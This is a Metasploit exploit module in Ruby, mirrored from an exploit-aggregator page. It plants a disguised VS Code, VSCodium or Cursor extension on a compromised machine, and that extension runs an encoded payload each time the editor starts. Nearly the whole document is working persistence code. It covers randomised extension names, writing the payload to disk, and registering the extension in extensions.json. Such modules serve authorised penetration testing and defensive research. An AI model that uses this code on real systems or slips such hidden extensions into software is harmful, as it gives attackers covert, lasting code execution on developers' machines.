Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-PERSISTENCE-VSCODE_EXTENSION-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# frozen_string_literal: true
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VS Code Extension Persistence',
'Description' => %q{
This module installs a malicious VS Code extension into the target's
VS Code extensions directory. The extension executes the payload each time
VS Code is launched, providing persistent code execution. Supports VS Code,
VS Code Insiders, VSCodium, VS Code Server, and Cursor.
Tested against 1.120.0 on Kali and Windows 10
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'DisclosureDate' => '2015-04-29', # VS Code first public release
'SessionTypes' => ['shell', 'meterpreter'],
'Privileged' => false,
'References' => [
['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]
],
'Arch' => [ARCH_CMD],
'Platform' => %w[linux windows],
'Payload' => {
'Space' => 8191,
'DisableNops' => true
},
'Targets' => [
['Windows', { 'Platform' => 'windows' }],
['Linux', { 'Platform' => ['unix', 'linux'] }],
# ['OSX', { 'Platform' => 'osx' }] this likely works but I don't have a test environment to verify it, so leaving it out of the target list for now
],
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DefaultTarget' => 0
)
)
register_options([
OptString.new('NAME', [false, 'Name of the extension (Random if left blank)', '']),
OptString.new('PUBLISHER', [false, 'Publisher name for the extension (Random if left blank)', '']),
OptString.new('DESCRIPTION', [false, 'Description of the extension (Random if left blank)', '']),
OptString.new('USER', [false, 'User to target, or current user if blank', '']),
OptPath.new('ICON', [false, 'Local path to an icon file (PNG) to include with the extension']),
OptString.new('VERSION', [false, 'Extension version in major.minor.patch format', '1.0.0'])
])
deregister_options('WritableDir')
end
def ext_name
@ext_name ||= datastore['NAME'].blank? ? rand_text_alphanumeric(4..10).downcase : datastore['NAME'].downcase
end
def ext_publisher
@ext_publisher ||= datastore['PUBLISHER'].blank? ? rand_text_alpha(4..8).downcase : datastore['PUBLISHER'].downcase
end
def ext_version
@ext_version ||= begin
ver = datastore['VERSION'].blank? ? '1.0.0' : datastore['VERSION']
fail_with(Failure::BadConfig, "VERSION must be in major.minor.patch format (e.g. 1.0.0), got: #{ver}") unless ver.match?(/\A\d+\.\d+\.\d+\z/)
ver
end
end
def ext_dir_name
"#{ext_publisher}.#{ext_name}-#{ext_version}"
end
def package_json
pkg = {
'name' => ext_name,
'displayName' => ext_name,
'description' => datastore['DESCRIPTION'].blank? ? '' : datastore['DESCRIPTION'],
'version' => ext_version,
'publisher' => ext_publisher,
'engines' => { 'vscode' => '^1.0.0' },
'activationEvents' => ['*'],
'main' => './extension.js'
}
pkg['icon'] = "./#{::File.basename(datastore['ICON'])}" unless datastore['ICON'].blank?
pkg.to_json
end
def extension_js
template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'vscode_extension', 'extension.js.template')
fail_with(Failure::BadConfig, "Extension template not found: #{template_path}") unless ::File.exist?(template_path)
::File.read(template_path)
end
def target_user
return datastore['USER'] unless datastore['USER'].blank?
return cmd_exec('cmd.exe /c echo %USERNAME%').strip if windows?
whoami
end
def windows?
['windows', 'win'].include?(session.platform)
end
# def osx?
# session.platform == 'osx'
# end
def vscode_ext_dirs
user = target_user
vprint_status("Target user: #{user}")
if windows?
[
"C:\\Users\\#{user}\\.vscode\\extensions",
"C:\\Users\\#{user}\\.vscode-insiders\\extensions",
"C:\\Users\\#{user}\\.cursor\\extensions"
]
# when 'osx' โ uncomment and add 'osx' to Platform/Targets once verified on macOS
# [
# "/Users/#{user}/.vscode/extensions",
# "/Users/#{user}/.vscode-insiders/extensions",
# "/Users/#{user}/.vscode-oss/extensions",
# "/Users/#{user}/.cursor/extensions"
# ]
else
home = user == 'root' ? '/root' : "/home/#{user}"
[
"#{home}/.vscode/extensions",
"#{home}/.vscode-insiders/extensions",
"#{home}/.vscode-server/extensions",
"#{home}/.vscode-oss/extensions",
"#{home}/.cursor/extensions",
"#{home}/snap/code/current/.config/Code/extensions"
]
end
end
def check
vscode_ext_dirs.each do |dir|
next unless directory?(dir)
if !windows? && !writable?(dir)
return CheckCode::Appears("VS Code extensions directory found but not writable: #{dir}")
end
return CheckCode::Appears("VS Code extensions directory found: #{dir}")
end
CheckCode::Safe('No VS Code extensions directory found')
rescue StandardError => e
CheckCode::Unknown("Error checking for VS Code: #{e.message}")
end
def vscode_running?
if windows?
!cmd_exec('powershell -Command "Get-Process -Name Code* -ErrorAction SilentlyContinue"').strip.empty?
else
# The [c]ode bracket trick prevents the grep process itself from matching
!cmd_exec('ps -ef 2>/dev/null | grep -i "[c]ode"').strip.empty?
end
end
# VS Code URI path format for Windows: /c:/users/... (lowercase drive, forward slashes)
def uri_path(full_path)
return full_path unless windows?
'/' + full_path.gsub('\\', '/').sub(/^([A-Za-z]):/) { "#{::Regexp.last_match(1).downcase}:" }
end
def register_extension(ext_base, ext_dir)
sep = windows? ? '\\' : '/'
index_path = "#{ext_base}#{sep}extensions.json"
extensions = []
if file?(index_path)
print_status('Reading extensions.json...')
begin
extensions = JSON.parse(read_file(index_path))
# Remove any stale entry for this extension id
extensions.reject! { |e| e.dig('identifier', 'id')&.casecmp?("#{ext_publisher}.#{ext_name}") }
rescue JSON::ParserError => e
print_warning("Could not parse extensions.json: #{e.message} - starting fresh")
extensions = []
end
end
entry = {
'identifier' => { 'id' => "#{ext_publisher}.#{ext_name}" },
'version' => ext_version,
'location' => {
'$mid' => 1,
'fsPath' => ext_dir,
'path' => uri_path(ext_dir),
'scheme' => 'file'
},
'relativeLocation' => ext_dir_name,
'metadata' => {
'id' => SecureRandom.uuid,
'publisherId' => SecureRandom.uuid,
'publisherDisplayName' => ext_publisher,
'targetPlatform' => 'undefined',
'isPreReleaseVersion' => false,
'hasPreReleaseVersion' => false,
'installedTimestamp' => (Time.now.to_f * 1000).to_i,
'pinned' => false,
'isApplicationScoped' => false,
'updated' => false,
'preRelease' => false
}
}
extensions << entry
write_file(index_path, JSON.generate(extensions))
print_good("Registered extension in #{index_path}")
index_path
end
def install_persistence
print_status("Using extension: #{ext_dir_name}")
ext_base = vscode_ext_dirs.find { |dir| directory?(dir) }
fail_with(Failure::NotFound, 'No VS Code extensions directory found') if ext_base.nil?
print_status("Installing to: #{ext_base}")
sep = windows? ? '\\' : '/'
ext_dir = "#{ext_base}#{sep}#{ext_dir_name}"
unless directory?(ext_dir)
print_status("Creating extension directory: #{ext_dir}")
mkdir(ext_dir, cleanup: false)
end
pkg_path = "#{ext_dir}#{sep}package.json"
fail_with(Failure::UnexpectedReply, "Failed to write #{pkg_path}") unless write_file(pkg_path, package_json)
print_good("Wrote package.json to #{pkg_path}")
js_path = "#{ext_dir}#{sep}extension.js"
fail_with(Failure::UnexpectedReply, "Failed to write #{js_path}") unless write_file(js_path, extension_js)
print_good("Wrote extension.js to #{js_path}")
unless datastore['ICON'].blank?
icon_data = ::File.binread(datastore['ICON'])
fail_with(Failure::BadConfig, "ICON is not a valid PNG file: #{datastore['ICON']}") unless icon_data.b.start_with?("\x89PNG\r\n\x1a\n".b)
icon_path = "#{ext_dir}#{sep}#{::File.basename(datastore['ICON'])}"
fail_with(Failure::UnexpectedReply, "Failed to write #{icon_path}") unless write_file(icon_path, icon_data)
print_good("Wrote icon to #{icon_path}")
end
ext_path = "#{ext_dir}#{sep}external"
fail_with(Failure::UnexpectedReply, "Failed to write #{ext_path}") unless write_file(ext_path, [payload.encoded].pack('m0'))
print_good("Wrote payload to #{ext_path}")
register_extension(ext_base, ext_dir)
if vscode_running?
print_warning('VS Code is currently running - restart VS Code to activate the extension.')
else
print_status('VS Code is not running - launch it to trigger the extension.')
end
@clean_up_rc << "rm -rf \"#{ext_dir}\"\n"
end
end